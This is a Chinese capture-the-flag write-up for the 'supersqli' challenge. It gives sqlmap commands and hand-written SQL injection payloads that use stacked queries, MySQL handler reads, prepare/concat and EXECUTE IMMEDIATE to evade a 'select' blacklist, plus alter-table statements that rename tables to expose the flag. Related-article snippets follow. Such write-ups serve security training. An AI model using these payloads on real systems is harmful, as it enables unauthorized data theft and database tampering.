2025.1.16——三、supersqli 绕过|堆叠注入|handler查询法|预编译绕过法|修改原查询法

题目来源:攻防世界supersqli

目录

一、打开靶机,整理已知信息

二、sqlmap解题

step 1:爆数据库

step 2:爆表

二、手工注入解题

step 1:判断注入类型

step 2:判断字段数

step 3:查询数据库

step 4:使用堆叠注入查数据库、表

1.查数据库

2.查表

3.查列

4.查具体数据

(1)handler查询法

(2)预编译绕过法

(3)修改原查询法

(4)EXECUTE IMMEDIATE


一、打开靶机,整理已知信息

        查看源码,发现一句话:用sqlmap是没有灵魂的。所以可以先用sqlmap跑一下,然后尝试手工注入

二、sqlmap解题

step 1:爆数据库

python sqlmap.py -u http://61.147.171.105:49439/?inject=1 -dbs

得到数据库名supersqli

step 2:爆表

python sqlmap.py -u http://61.147.171.105:49439/?inject=1 -D supersqli --tables

这里没有给出结果,所以sqlmap没办法继续了。到这里只得到数据库名为supersqli

二、手工注入解题

step 1:判断注入类型

键入:1、1''、1‘ and '1'='1 #

回显正常

键入:1'

报错了

说明此处存在注入点,且为字符型注入

step 2:判断字段数

键入:1 order by 2 #

回显正常

键入:1' order by 3 #

报错了

所以字段数为2

step 3:查询数据库

1' union select 1,2 #

显示被过滤掉了

  • select:用于从数据库中查询数据的 SQL 语句关键字。
  • update:用于更新数据库中表的数据的 SQL 语句关键字。
  • delete:用于从数据库表中删除数据的 SQL 语句关键字。
  • drop:用于删除数据库对象(如表、视图等)的 SQL 语句关键字。
  • insert:用于向数据库表中插入新数据的 SQL 语句关键字。
  • where:用于在 SQL 语句中指定查询、更新、删除等操作的条件。
  • i的意思为以上关键字都不区分大小写,意为不能用大小写绕过

        所以不能正常的sql注入

step 4:使用堆叠注入查数据库、表

堆叠注入:多条SQL语句用分号隔开,均执行

1.查数据库

1';show databases;#

猜测flag在supersqli表里

2.查表

1';use supersqli;show tables;#

得到两个表:1919810931114514、words

3.查列

1';use supersqli;show columns from `1919810931114514`;#

当表名是纯数字字符串的时候需要加反引号` 

        看到老朋友flag了

4.查具体数据

        前面看到select也被过滤了,所以不能有普通的查询方法

(1)handler查询法

handler语句是MySQL专用语句,可以一行一行的浏览一个表中的数据。

1.句柄(handle)相当于指针,是一个广义的指针

2.命令

(1)打开句柄:handler 表名 open;

(2)查看数据:handler 表名 read first\next;  以此推荐

详情见【MySQL】MySQL 之 handler 的详细使用及说明_mysql handler-CSDN博客

1';use supersqli;handler `1919810931114514` open as p;handler p read first;#

第二条命令意为打开1919810931114514并命名为p;第三条意为打开并阅读p中第一条数据

(2)预编译绕过法

预编译绕过法

1.预编译语句是一种预处理SQL语句的技术,允许我们定义和编译SQL语句,在每次执行SQL查询时只需传递参数即可。即SQL查询会被MySQL进行编译依次,然后可以多次执行

select会被过滤,所以要用预编译来绕过过滤

1';

set @sql = CONCAT('sele','ct flag from `1919810931114514`;');

prepare stmt from @sql;

EXECUTE stmt;#

解释:

第二条语句意为使用concat函数拼接为一个完整SQL语句并赋值给变量@sql

第三条语句则为预编译SQL语句:prepare语句用于准备一个SQL语句,将变量@sql中的SQL语句进行预编译,并将编译后的语句命名为stmt

第四条语句即为执行stmt语句

目的为获取flag

set和prepare被strster函数过滤掉了,但该函数不区分大小写,所以修改一下

1';

Set @sql = CONCAT('sele','ct flag from `1919810931114514`;');

Prepare stmt from @sql;

EXECUTE stmt;#

得到flag

(3)修改原查询法

原理就是没有过滤掉alter,可用alter将字段flag改为1,然后查询1,得到flag

        先找一下查询1的时候处于哪张表(之前得到有两张表:1919810931114514、words)

1';show columns from words;#

        可得查询1时默认的数据库就是supersqli,这个在sqlmap中也可得到验证

        继续看word表里的字段

1';handler words open as a;handler a read next;#

得到一样的信息,所以原查询就在表words的字段id里面

注:这里上下两张表是因为堆叠注入的作用,两个语句都被执行了

修改原查询的核心:1919810931114514表和words表的构成相同,id字段和flag字段对应,int(10)字段和varchar(100)字段对应

所以将表1919810931114514名字改为words,将flag列改为id

payload:

1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

解释:第三条语句是将表words中flag列名改为id,并将该列的数据类型设置为varchar(50)

(4)EXECUTE IMMEDIATE

execute immediate语句:允许执行动态构建的SQL语句

查询表中字段的值,用execute immediate语句绕过黑名单 select

1';execute immediate concat('sele','ct flag from `1919810931114514`') #

原理:字符串拼接,在程序中拼接成完整的SQL语句,不触发黑名单检查

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/3362.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【数据库初阶】MySQL中表的约束(上)

??博主首页: ??专栏首页: 数据库初阶 ??其它专栏: C初阶 | C进阶 | 初阶数据结构 亲爱的小伙伴们,大家好!在这篇文章中,我们将深入浅出地为大家讲解 MySQL中表的约束 帮助您轻松入门,快…

HTML基础与实践

目录 HTML 结构 认识 HTML 标签 HTML 文件基本结构 标签层次结构 快速生成代码框架 HTML 常见标签 注释标签 标题标签: h1-h6 段落标签: p 换行标签: br 格式化标签 图片标签: img 超链接标签: a ​编辑链接的几种形式: 表格标签 基本使用 合并单元格 …

初识go语言之指针用法

一、环境准备 安装go语言编译环境,官网地址:https://go.dev/dl/ 或者 https://golang.google.cn/dl/ 点击下载按提示安装即可 vscode 安装go语言扩展 测试 package mainimport "fmt"func main() {fmt.Println("Hello, World!") …

mac 安装 node

brew versions node // 安装 node brew versions node14 // 安装指定版本 卸载node: sudo npm uninstall npm -g sudo rm -rf /usr/local/lib/node /usr/local/lib/node_modules /var/db/receipts/org.nodejs.* sudo rm -rf /usr/local/include/node /Users/$USER/.npm su…

2025.1.16——六、BabySQL 双写绕过|联合注入

题目来源:buuctf [极客大挑战 2019]BabySQL 1 目录 一、打开靶机,分析已知信息 二、手工注入解题 step 1:万能密码 step 2:正常注入,判断字段数 step 3:绕过 step 4:查数据库 step 5&am…

第4章 Kafka核心API——Kafka客户端操作

Kafka客户端操作 一. 客户端操作1. AdminClient API 一. 客户端操作 1. AdminClient API

浅谈云计算21 | Docker容器技术

Docker容器技术 一、 容器技术特性1.1 轻量级特性1.2 隔离性特性 二、容器镜像2.1 容器镜像概述2.1.1 定义与构成2.1.2 分层结构 2.2 联合文件系统2.3 容器镜像的构建与管理2.3.1 容器镜像的构建2.3.2 **构建镜像流程**2.3.3 **应用场景**2.3.4 镜像仓库的应用 2.4 容器镜像的优…

Android CustomTextField

在 Compose 中开发用户界面时,需要处理输入框和键盘的交互,例如在键盘弹出时调整布局位置,避免遮挡重要内容。本篇博客将通过一个完整的示例展示如何实现这一功能。 功能概述 本例实现了一个简单的输入框。当输入框获得焦点或输入文字时&…

[0242].第4-3章:SpringBoot2核心技术笔记

Java学习大纲 1、笔记 第1步:框架初识 [0242-01].第01节:SpringBoot初识 第2步:入门项目 [0242-02].第02节:SpringBoot入门项目[0242-03].第03节:SpringBoot开发技巧 第3步:开发应用 配置文件&#xff1a…

2025.1.15——四、布尔注入

题目来源:ctfhub技能树 目录 一、基本操作:整理已知信息,得到本题为布尔注入 方法一:手工盲注(不推荐) step 1:判断具体形式 step 2:查询字段数 step 3:通过回显判…

Vue2.0的安装

1.首先查看是否已经安装了node.js 选择以管理员方式打开命令提示符(权限较高),或者通过cmd的方式打开 打开后输入node -v 查看自己电脑是否安装node,以及版本号 node -v 如果没有的话,请查看Node.js的安装 2.Vue和脚…

SQL Server 导入Excel数据

1、选中指定要导入到哪个数据库,右键选择 》任务 》导入数据 2、数据源 选择Excel,点击 下一步(Next) 3、目前 选择OLE DB Provider ,点击 下一步(Next) 4、默认 ,点击 下一步(Next)…

迅为RK3576开发板Android 多屏显示

迅为iTOP-3576开发板采用瑞芯微RK3576高性能、低功耗的应用处理芯片,集成了4个Cortex-A72和4个Cortex-A53核心,以及独立的NEON协处理器。它适用于ARM PC、边缘计算、个人移动互联网设备及其他多媒体产品。 1.1 Android 多屏同显 iTOP-RK3576 开发板支持…

如何保证光谱相机的稳定性和可靠性

光学系统设计与制造 高质量光学元件:采用高精度研磨和镀膜的透镜、棱镜、光栅等光学元件。优质的透镜可以减少像差和色差,确保光线准确聚焦;高质量的镀膜能够提高光学元件的透光率,降低反射损失,并且增强对不同波段光…

Python GUI Pyside6 实例笔记

例【1】 好的!我们将通过一个简单的案例来学习如何使用 PySide6 创建一个基本的桌面应用程序。这个案例将展示如何创建一个带有按钮的窗口,当点击按钮时,会弹出一个消息框。 1. 安装 PySide6 首先,确保你已经安装了 PySide6。如…

CIA-Access V2.5_9_2_10G EPON技术原理_关键技术

10G EPON关键技术,主要包含测距,突发光电技术,DBA以及线路加密。 关键技术之MPCP测距 第一个仍然是测距,每一个ONU到OLT的逻辑距离是不相等的,另外OLT与ONU之间的环路时间也会随着时间和环境的变化而变化,…

PDF文件提取开源工具调研总结

概述 PDF是一种日常工作中广泛使用的跨平台文档格式,常常包含丰富的内容:包括文本、图表、表格、公式、图像。在现代信息处理工作流中发挥了重要的作用,尤其是RAG项目中,通过将非结构化数据转化为结构化和可访问的信息&#xff0…

计算机网络 (43)万维网WWW

前言 万维网(World Wide Web,WWW)是Internet上集文本、声音、动画、视频等多种媒体信息于一身的信息服务系统。 一、基本概念与组成 定义:万维网是一个分布式、联机式的信息存储空间,通过超文本链接的方式将分散的信息…

ubuntu18.04开发环境下samba服务器的搭建

嵌入式linux的发展很快,最近准备在一个新项目上采用新一代的linux核心板,发现linux内核的版本已经更新到5.4以上甚至6.0以上;之前常用的linux内核版本是2.6.4,虽然在某些项目上还能用但是明显跟不上时代的步伐了,所以要…

HTML5+Canvas实现的鼠标跟随自定义发光线条源码

源码介绍 HTML5Canvas实现的鼠标跟随自定义发光线条特效源码非常炫酷&#xff0c;在黑色的背景中&#xff0c;鼠标滑过即产生彩色变换的发光线条效果&#xff0c;且线条周围散发出火花飞射四溅的粒子光点特效。 效果预览 源码如下 <!DOCTYPE html PUBLIC "-//W3C//D…